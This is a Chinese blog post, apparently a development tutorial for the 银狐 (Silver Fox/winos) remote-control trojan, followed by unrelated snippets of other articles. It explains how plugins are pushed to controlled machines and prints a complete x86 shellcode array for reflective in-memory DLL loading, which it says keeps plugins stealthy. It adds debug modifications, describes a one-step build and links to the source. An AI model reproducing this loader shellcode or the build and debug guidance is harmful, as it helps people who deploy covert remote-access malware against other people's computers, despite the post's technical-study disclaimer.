news 2026/1/30 13:45:20

银狐远控一键编译调试与开发教程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
银狐远控一键编译调试与开发教程

特别申明:

本文内容仅限于用作技术交流,请勿使用本文介绍的技术做任何其他用途,否则后果自负,与本号无关。

最近由于工作需要,研究了一下银狐的源码,不得不说,虽然整套代码的风格不是那么优雅,但是设计思想和一些技术运行很巧妙,通过学习这套源码可以大幅度提高开发和安全工程方面的水平,可以从这套代码中学到如下知识:

  • C/C++ 开发知识
  • 网络编程知识
  • 安全工程,包括shellcode的编写技巧、内存加载、进程隐藏等大量安全工程领域的知识
  • 驱动开发技术

既然是学习,调试是非常好的方式,我对这套源码做了修改。在介绍为什么要修改之前,先看一下银狐传输插件的逻辑,如下图所示:

步骤如下:

  1. 主控启动监听后,被控(对应图中上线模块)使用主控的ip地址和端口进行连接,连接成功以后,被控向主控请求上线模块(对应图中登录模块)的版本号信息。

2. 主控应答被控上线模块的版本号信息,这里的版本号是一串基于上线模块文件数据的MD5,所以只要上线模块文件有任何变动,被控就必须向主控请求最新的文件数据。其他插件也是一样的逻辑。此时有两种情况,第一种情况,被控注册表中不存在该插件数据或者存在但插件数据的MD5值不匹配主控传过来的数据,那么就需要向主控请求最新的插件数据,这里就是登录模块;第二种情况就是被控注册表中存在该插件数据且文件MD5值与主控传过来的一样,这样就不需要更新,直接运行就可以了。

这里设计上存在一个不安全的地方是:像判断是否需要升级的逻辑应该放在主控端,而不是被控端,因为被控是分发出去的,其被破解和篡改的几率比较大。商业软件更是如此。
  1. 被控端无论数据是通过主控更新来的,还是自己读取的注册表缓存,执行这块逻辑也大有学问。因为这块逻辑很难理解,没有一定的水平真的很难看懂。

主控传过来的数据是一段处理过的shellcode数据,如下图所示:

这个shellcode包括三段内容,第一段是一段shellcode,第二段是一个用作配置项的结构体结构,第三段才是插件dll本身的数据。

这些shellcode文件位于主控output\Plugins\x86output\Plugins\x64目录中,即使这些文件存在,主控每次启动时,都会基于各个插件dll生成这些shellcode数据文件,当然,为了安全性,这些shellcode数据文件使用了BoxedAppSDK这个商业sdk进行了加密。dll转shellcode数据文件的逻辑对应主控中dll_to_shellcode函数,dll_to_shellcode在生成shellcode时有个param参数决定这个shellcode将来如何执行,param为0时,生成的shellcode入口点在插件dll的DllMain函数,param为1时,生成的shellcode入口点在插件dll的导出函数run中。

每个插件在其DllMain函数中有如下逻辑:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { if (MyInfo.RunDllEntryProc && (hThread == NULL)) { hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); } } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

不知道读者是否看出上述代码存在的问题?

正常开发中,在一个Dll文件的DllMain函数中调用WaitForSingleObject函数等待线程退出,但是该线程用于不会退出,会导致上层调用LoadLibrary加载该Dll文件时无法返回,导致程序卡住,当然由于银狐本来就不期望使用LoadLibrary加载Dll,所以这里就无所谓啦,实际开发中应该避免写出这样的代码。无论是在DllMain函数中启动线程还是调用dll导出函数run,最终都是启动该插件功能,也就是对应上文中提到的param=0和param=1的情况,只不过param=0时,DllMain函数被永久阻塞了,这是一种技术不合理的使用吧。

分析到这里,读者应该明白了从主控传输过来的插件数据都是shellcode,内容即上图所示。

当第二部config结构中的param参数是0,该shellcode第一部分会尝试定位第三部分中DllMain函数的入口点,当第二部分config结构中param参数是1,该shellcode第一部分会尝试定位第三部分中导出函数run的入口点。第一部分的shellcode特别难分析,需要读者能看得懂汇编代码,贴出来x86的大家瞅一瞅:

unsigned char shellcode_main_x86[] = { "\xe9\x92\x04\x00\x00\x55\x8b\xec\x83\xec\x18\x53\x56\x8b\x71\x3c\x57\x89\x55\xf4\x8b\x44\x0e\x78\x85\xc0\x74\x6d\x83\x7c" "\x0e\x7c\x00\x74\x66\x8b\x5c\x08\x18\x89\x5d\xf8\x85\xdb\x74\x5b\x8b\x54\x08\x1c\x8b\x74\x08\x20\x03\xd1\x8b\x44\x08\x24" "\x03\xf1\x89\x55\xe8\x03\xc1\x33\xd2\x89\x75\xf0\x89\x45\xec\x85\xdb\x74\x3a\x8b\x3c\x96\x33\xf6\x03\xf9\x89\x7d\xfc\x8a" "\x07\x84\xc0\x74\x17\x8b\xdf\x69\xf6\x83\x00\x00\x00\x0f\xbe\xc0\x03\xf0\x43\x8a\x03\x84\xc0\x75\xee\x8b\x5d\xf8\x81\xe6" "\xff\xff\xff\x7f\x3b\x75\xf4\x74\x11\x8b\x75\xf0\x42\x3b\xd3\x72\xc6\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x83\x7d\x08\x00" "\x75\x11\x8b\x45\xec\x0f\xb7\x04\x50\x8b\x55\xe8\x8b\x04\x82\x03\xc1\xeb\xe2\x57\x51\xff\x55\x08\xeb\xdb\x55\x8b\xec\x51" "\x83\x65\xfc\x00\xe8\x00\x00\x00\x00\x58\x2d\xbd\x10\xba\x00\x89\x45\xfc\x8b\x45\xfc\x8b\xe5\x5d\xc3\x55\x8b\xec\x51\x51" "\x64\xa1\x30\x00\x00\x00\x53\x56\x57\x8b\x40\x0c\x8b\xd9\x8b\x50\x14\xeb\x41\x0f\xb7\x72\x24\x33\xc9\x8b\x7a\x28\xd1\xee" "\x85\xf6\x7e\x1e\x0f\xb7\x07\x8d\x7f\x02\x83\xf8\x61\x72\x05\x05\xe0\xff\x00\x00\x69\xc9\x83\x00\x00\x00\x0f\xb7\xc0\x03" "\xc8\x4e\x75\xe2\x81\xe1\xff\xff\xff\x7f\x81\xf9\xe6\x9c\xca\x1c\x0f\x84\x9f\x00\x00\x00\x8b\x12\x85\xd2\x75\xbb\x33\xf6" "\x6a\x00\xba\x54\xb8\xb9\x1a\x8b\xce\xe8\xcb\xfe\xff\xff\x50\xba\x78\x1f\x20\x7f\x89\x03\x8b\xce\xe8\xbc\xfe\xff\xff\xff" "\x33\xba\x62\x34\x89\x5e\x89\x43\x04\x8b\xce\xe8\xab\xfe\xff\xff\xff\x33\xba\x73\x80\x48\x06\x89\x43\x08\x8b\xce\xe8\x9a" "\xfe\xff\xff\xff\x33\xba\xa5\xf2\x5c\x70\x89\x43\x0c\x8b\xce\xe8\x89\xfe\xff\xff\x83\xc4\x14\x89\x43\x10\x8d\x45\xf8\xc7" "\x45\xf8\x6e\x74\x64\x6c\x66\xc7\x45\xfc\x6c\x00\x50\xff\x53\x04\xff\x33\x8b\xf0\xba\xcb\x79\xb5\x0d\x8b\xce\xe8\x5f\xfe" "\xff\xff\xff\x33\xba\xc0\xe9\x18\x15\x89\x43\x14\x8b\xce\xe8\x4e\xfe\xff\xff\x59\x59\x5f\x5e\x89\x43\x18\x5b\x8b\xe5\x5d" "\xc3\x8b\x72\x10\xe9\x61\xff\xff\xff\x55\x8b\xec\x83\xec\x18\x8b\xc2\x89\x4d\xfc\x89\x45\xf4\x53\x56\x85\xc0\x75\x07\x33" "\xc0\xe9\x92\x02\x00\x00\xba\x4d\x5a\x00\x00\x66\x39\x10\x75\xef\x57\x8b\x78\x3c\x03\xf8\x81\x3f\x50\x45\x00\x00\x0f\x85" "\x73\x02\x00\x00\xb8\x4c\x01\x00\x00\x66\x39\x47\x04\x0f\x85\x64\x02\x00\x00\x83\xc0\xbf\x66\x39\x47\x18\x0f\x85\x57\x02" "\x00\x00\x6a\x40\x68\x00\x10\x00\x00\xff\x77\x50\x33\xdb\x53\xff\x51\x08\x8b\xf0\x85\xf6\x0f\x84\x3d\x02\x00\x00\xff\x77" "\x54\x8b\x45\xfc\xff\x75\xf4\x56\xff\x50\x18\x8b\x7e\x3c\x33\xc0\x03\xfe\x89\x5d\xf0\x89\x7d\xec\x66\x3b\x47\x06\x73\x58" "\x8b\x5d\xf4\x8d\x87\x08\x01\x00\x00\x89\x45\xf8\x8b\x48\xfc\x85\xc9\x74\x2b\x03\xce\x83\x38\x00\x74\x11\xff\x30\x8b\x40" "\x04\x03\xc3\x50\x8b\x45\xfc\x51\xff\x50\x18\xeb\x10\x83\x7f\x38\x00\x76\x0d\xff\x77\x38\x8b\x45\xfc\x51\xff\x50\x14\x8b" "\x45\xf8\x8b\x4d\xf0\x83\xc0\x28\x89\x45\xf8\x41\x0f\xb7\x47\x06\x3b\xc8\x89\x4d\xf0\x8b\x45\xf8\x7c\xb6\x33\xdb\x8b\x87" "\xa0\x00\x00\x00\x85\xc0\x74\x60\x39\x9f\xa4\x00\x00\x00\x74\x58\x8d\x0c\x30\xeb\x45\x8d\x42\xf8\x89\x5d\xf4\xd1\xe8\x89" "\x45\xf8\x85\xc0\x7e\x31\x0f\xb7\x54\x59\x08\x8b\xc2\xc7\x45\xf4\x00\x30\x00\x00\x25\x00\xf0\x00\x00\x66\x3b\x45\xf4\x75" "\x10\x81\xe2\xff\x0f\x00\x00\x8b\xc6\x03\x11\x2b\x47\x34\x01\x04\x32\x43\x3b\x5d\xf8\x7c\xd1\x33\xdb\x8b\x45\xf0\x03\x08" "\x8d\x41\x04\x8b\x10\x89\x45\xf0\x8b\x01\x03\xc2\x75\xad\x8b\x87\x80\x00\x00\x00\x85\xc0\x74\x7f\x39\x9f\x84\x00\x00\x00" "\x74\x77\x03\xc6\xeb\x69\x03\xc6\x50\x8b\x45\xfc\xff\x50\x04\x89\x45\xe8\x85\xc0\x0f\x84\x22\x01\x00\x00\x8b\x45\xf8\x8b" "\x08\x85\xc9\x75\x03\x8b\x48\x10\x8b\x50\x10\x03\xce\x89\x4d\xf0\x03\xd6\x89\x55\xf4\x8b\x09\x85\xc9\x74\x33\x8b\x5d\xfc" "\x8b\xfa\x79\x05\x0f\xb7\xc1\xeb\x05\x8d\x46\x02\x03\xc1\x50\xff\x75\xe8\xff\x13\x89\x07\x83\xc7\x04\x8b\x45\xf0\x83\xc0" "\x04\x89\x45\xf0\x8b\x08\x85\xc9\x75\xda\x8b\x7d\xec\x33\xdb\x8b\x45\xf8\x83\xc0\x14\x89\x45\xf8\x8b\x40\x0c\x85\xc0\x75" "\x8d\x8b\x8f\xc0\x00\x00\x00\x85\xc9\x74\x3f\x8b\x4c\x31\x0c\x33\xd2\x6a\x03\x58\x2b\xc1\x89\x4d\xf0\xc1\xe8\x02\x85\xc9" "\x89\x5d\xf4\x0f\x45\xc2\x89\x45\xe8\x85\xc0\x74\x1f\x8b\xf8\x53\x6a\x01\x56\xff\x11\x8b\x4d\xf0\x8b\x45\xf4\x83\xc1\x04" "\x40\x89\x4d\xf0\x89\x45\xf4\x3b\xc7\x75\xe6\x8b\x7d\xec\x8b\x47\x28\x03\xc6\x74\x08\xff\x75\x08\x6a\x01\x56\xff\xd0\x83" "\x7d\x0c\x00\x0f\x84\x8d\x00\x00\x00\x8b\x45\x10\x85\xc0\x0f\x84\x82\x00\x00\x00\x89\x18\x8b\x47\x78\x85\xc0\x74\x79\x39" "\x5f\x7c\x74\x74\x39\x5c\x30\x18\x74\x6e\x8b\x4c\x30\x1c\x8b\x54\x30\x20\x03\xce\x89\x4d\xf4\x03\xd6\x8b\x4c\x30\x24\x03" "\xce\x89\x55\xec\x89\x4d\xf0\x39\x5c\x30\x14\x76\x4d\x8b\xf8\x8b\x04\x9a\xff\x75\x0c\x03\xc6\x50\x8b\x45\xfc\xff\x50\x10" "\x85\xc0\x74\x24\x8b\x55\xec\x43\x3b\x5c\x37\x14\x72\xe3\xeb\x2c\x8b\x45\xfc\x68\x00\x40\x00\x00\xff\x77\x50\x56\xff\x50" "\x0c\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x45\xf0\x8b\x4d\xf4\x0f\xb7\x04\x58\x8b\x04\x81\x8b\x4d\x10\x03\xc6\x89\x01" "\x33\xc0\x40\xeb\xe0\x55\x8b\xec\x83\xec\x24\x53\x56\x57\x8d\x4d\xdc\xe8\x25\xfc\xff\xff\xe8\x03\xfc\xff\xff\x83\x65\xfc" "\x00\x8b\xf0\x81\xc6\x4a\x15\xba\x00\x33\xdb\x8b\x7e\x0d\x8b\x46\x01\x03\xfe\x85\xc0\x74\x3a\x6a\x04\x68\x00\x10\x00\x00" "\xff\x76\x05\x03\xc6\x53\x89\x45\xf8\xff\x55\xe4\x8b\xd8\x85\xdb\x75\x04\x33\xc0\xeb\x5f\xff\x76\x05\x53\xff\x76\x09\x57" "\xff\x55\xf8\x83\xc4\x10\x83\xf8\xff\x74\x20\x3b\x46\x05\x75\x1b\x8b\xfb\x33\xdb\x43\x80\x3e\x00\x8d\x45\xfc\x50\x8b\xd7" "\x8d\x4d\xdc\x8d\x46\x11\x75\x13\x6a\x00\x50\xeb\x11\x68\x00\x40\x00\x00\xff\x76\x05\x53\xff\x55\xe8\xeb\xbb\x50\x6a\x00" "\xe8\x9e\xfc\xff\xff\x83\xc4\x0c\x85\xdb\x74\x0c\x68\x00\x40\x00\x00\xff\x76\x05\x57\xff\x55\xe8\x8b\x45\xfc\x5f\x5e\x5b" "\x8b\xe5\x5d\xc3" };

我将其翻译成汇编代码,梳理了一下它的逻辑:

  • 加载当前模块 (PE 文件) 的 DOS / NT 头
  • 手动解析 PE 结构
  • 枚举/定位导入表、重定位表、导出表等
  • 解析 Import Table,调用 LoadLibraryA / GetProcAddress
  • 复制/重定位 PE 映像(相当于 Reflective DLL Loading)
  • 最终跳转到 OEP 执行 DLL 的入口函数

所以这段shellcode干的活就是纯内存加载第三部分dll,并解析执行,这种操作让插件执行非常隐蔽。

如果你能分析到这里,你的安全逆向知识将增长一甲子。

shellcode对于一般人来说,太难读且难以调试,我也是这么认为的,所以我在被控段增加了如下逻辑方便调试和修改,以上线模块为例,修改上线模块.cpp

unsigned int __stdcall Loop_DllManager(void* pVoid) //加载就运行无需参数 { //...省略无关代码... #ifdef _DEBUG // 为了方便调试,debug模式下直接加载本地文件,如果本地加载失败,则尝试从内存中加载 // 传过来的插件名是xxx.dll_bin,这里将该名称转换成xxx.dll,以便从本地磁盘加载,用于调试 wchar_t szLocalDllName[MAX_PATH] = { 0 }; wcscpy_s(szLocalDllName, ARRAYSIZE(szLocalDllName), g_dllSendData.DllName); ::PathRemoveExtension(szLocalDllName); wcscat_s(szLocalDllName, ARRAYSIZE(szLocalDllName), L".dll"); HMODULE hDllModule = ::LoadLibrary(szLocalDllName); if (hDllModule != NULL) { TCHAR szMsg[64] = { 0 }; wsprintfW(szMsg, L"load %s successfully\r\n", szLocalDllName); ::OutputDebugStringW(szMsg); FARPROC runFunc = ::GetProcAddress(hDllModule, "run"); if (runFunc != NULL) { runFunc(); } } else { TCHAR szMsg[64] = { 0 }; wsprintfW(szMsg, L"load %s failed, errorCode: %d\r\n", szLocalDllName, ::GetLastError()); ::OutputDebugStringW(szMsg); } #else // release版本使用shellcode的方法调用各个模块中的DllMain函数或者导出函数,默认是DllMain函数 load lpproc = ((load(*)())g_loginDllData)(); #endif //...省略无关代码... }

上述代码的目的是,当你使用debug模式启动上线模块,在比对完插件版本后之后,虽然此时也有了主控传过来的插件shellcode数据,但是我们会使用LoadLibrary从本地磁盘加载该dll文件,如果使用release模式启动被控,则走原来的执行shellcode的逻辑。

当然,前面也说了,为了避免LoadLibrary加载插件数据卡住,我们需要修改加载的插件DllMain函数,这里以登录模块.dll的DllMain函数为例,位于登录模块.cpp中,修改后的代码如下:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { #ifdef _DEBUG // debug版本为了便于调试,会从本地磁盘加载对应的dll文件,然后调用该dll的导出函数run #else // release版本才会用到在DllMain函数中触发逻辑 if (hThread == NULL) { hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); } #endif } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

其他的插件都可以使用相同的方法做修改。

这样一套组合拳下来,我们的银狐工程既易于开发调试(debug模式),同时也可以用于实际使用(release模式)。当然,必须是合理合法使用,这里仅限于技术研究。

另外,很多同学在编译主控时,也经常遇到困难,主控依赖的两个源码工程需要手动编译分别是XTP库和hpsocket,我也将其整合进主控工程中,现在可以一键编译到底。

源码获取

如果对银狐(winos)有兴趣,可以点下面的链接:

源码获取

相关阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题

银狐远控代码中差异屏幕bug修复

银狐远程屏幕内存优化方法探究

银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/28 21:09:48

管理案例丨华恒智信助力某大型钢铁集团人力资源管理咨询服务项目——以系统性诊断与双维考核,驱动效率与效能双重提升

【客户类型】生产制造行业、钢铁冶金行业、重型制造业、跨行业多元化集团 【问题类型】组织绩效考核体系重建、跨部门协同机制优化、业绩与管理平衡发展、人力资源管理、企业管理一、项目背景:领军企业的绩效管理之困该集团公司是一家立足山西、辐射全国的行业巨头&…

作者头像 李华
网站建设 2026/1/30 3:48:38

基于SpringBoot的车辆报废回收系统(毕业设计项目源码+文档)

课题摘要 在机动车报废回收行业规范化、数字化升级的背景下,传统车辆报废回收模式存在 “流程审批繁琐、车辆溯源难、数据统计滞后、监管透明度低” 的痛点,难以满足车主便捷报废、企业高效运营、监管部门精准管控的需求。基于 SpringBoot 的车辆报废回收…

作者头像 李华
网站建设 2026/1/29 9:47:44

租用日本服务器价格便宜的原因

在 2026 年的海外服务器租赁市场中,日本服务器呈现出 “高配置 低门槛” 的独特优势,更关键的是,低价并未牺牲核心品质 ——90% 以上服务商提供 NTT/KDDI 原生 IP、CN2 GIA 直连线路,稳定性与纯净度远超同价位其他地区服务器。这…

作者头像 李华
网站建设 2026/1/30 1:52:10

数据结构:广义表

广义表 资料:https://pan.quark.cn/s/43d906ddfa1b、https://pan.quark.cn/s/90ad8fba8347、https://pan.quark.cn/s/d9d72152d3cf 一、广义表的定义 广义表(Generalized List)是线性表的扩展,是由零个或多个原子(Atom…

作者头像 李华